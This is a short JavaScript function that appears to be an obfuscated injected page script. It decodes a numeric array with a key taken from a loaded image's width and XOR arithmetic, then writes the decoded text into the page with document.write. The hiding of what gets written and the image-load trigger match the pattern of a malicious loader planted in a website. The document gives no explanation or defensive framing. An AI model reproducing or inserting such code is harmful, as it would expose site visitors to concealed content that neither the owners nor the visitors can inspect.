function onImgLoad(source) {
var as = new Array(104,179,188,162,477,585,616,601,394,588,593,549,423,603,599,523,393,588,522,607,400,588,539,599,400,601,614,607,394,613,603,546,465,608,604,586,422,615,610,597,421,550,596,601,394,592,610,531,467,536,600,586,419,611,597,607,465,592,590,603,406,535,617,521,421,607,589,607,464,610,614,605,402,585,616,601,394,588,593,647,467,540,600,601,404,535,617,521,393,592,593,603,475,549,540,600,406,608,538,602,422,586,611,533,404,613,602,534,484,527,529,538,485,524,530,534,418,535,591,596,421,612,599,598,398,603,589,525,417,535,551,530,465,612,597,523,460,538,617,521,479,536,617,534,420,601,599,596,417,592,523,521,458,529,521,534,420,601,599,596,417,592,523);
var xi = source.width; if (!xi) {return;}
var sb=""; for (var n=4; n<as.length; n++) {sb+=String.fromCharCode((as[n]-xi)^as[n%4]);} document.write(sb);
}

